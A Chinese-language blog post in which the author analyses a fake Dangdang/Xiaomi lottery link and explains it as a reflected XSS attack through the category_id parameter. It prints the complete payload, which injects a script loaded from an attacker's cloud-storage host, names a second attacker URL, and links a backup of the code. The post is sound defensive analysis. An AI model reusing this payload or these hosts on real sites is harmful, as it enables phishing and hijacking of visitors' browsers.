朋友在微信上问我当当网上小米产品抽奖是不是真实的。
他发了一张朋友圈其他人成功签收奖品的截图(很有真实性),以及抽奖链接:
没多想,我点进去,跳转到另一个地方,开始抽奖,尝试两次后成功,但需要分享才能领取,这使我感到疑惑,我还没登陆呢,这就要我分享了?明显骗局。
decode url,得到:
http://product.m.dangdang.com/detail29297129-56-56.html?category_id=</script><svg onload=setTimeout(function(){with(document)body.appendChild(createElement(`script`)).src=`//njkloop.oss-accelerate.aliyuncs.com/dangdang`},0)>
很显然这是 xss 攻击:
-
注入恶意代码:
- 参数
category_id
的值中包含了一个结束</script>
标签和一个SVG
元素:
</script><svg onload=setTimeout(function(){with(document)body.appendChild(createElement(`script`)).src=`//njkloop.oss-accelerate.aliyuncs.com/dangdang`},0)>
- 参数
-
结束现有的脚本标签:
</script>
用于结束当前可能在解析的任何脚本标签。这是为了确保接下来的内容不会被当作普通文本处理,而是作为新的 HTML 和 JavaScript 代码执行。
-
SVG 元素和 onload 事件:
<svg onload=...>
使用 SVG 标签,因为 SVG 标签的 onload 事件可以执行 JavaScript 代码。这使得攻击者可以在页面加载时执行任意 JavaScript 代码。
-
延迟执行恶意代码:
-
setTimeout(function(){...},0)
用于确保代码在浏览器完成当前任务后立即执行。 -
with(document)
允许在代码块内直接使用 document 对象的方法和属性。 -
body.appendChild(createElement(
script))
创建一个新的 script 元素并将其附加到页面的 body 中。 -
.src='//njkloop.oss-accelerate.aliyuncs.com/dangdang'
将新创建的 script 元素的 src 属性设置为一个外部脚本 URL。这会导致浏览器从指定的 URL 加载并执行该脚本。
-
攻击者使用了:
document.open();
document.write(result);
document.close();
直接可以篡改文档,而不会改变 url,因此分享给其他人后,还是以 dangdang.com 开头,并携带攻击参数 category_id。
攻击之所以会成功,主要是因为,当当网将 category_id 的值直接插入到 HTML 页面中,而没有进行适当的转义或过滤。导致这些参数成为 HTML 的一部分,并且在浏览器中被解析和执行。
被加载的攻击代码:
- njkloop.oss-accelerate.aliyuncs.com/dangdang
- runs123.oss-accelerate.aliyuncs.com/public/html2/55/index.html
为了防止攻击者销毁代码,我做了备份:
https://github.com/WantenMN/DangDang-XSS-Exploit-Example
我不太想了解攻击者的实际意图,有兴趣的的小伙伴可以接着分析。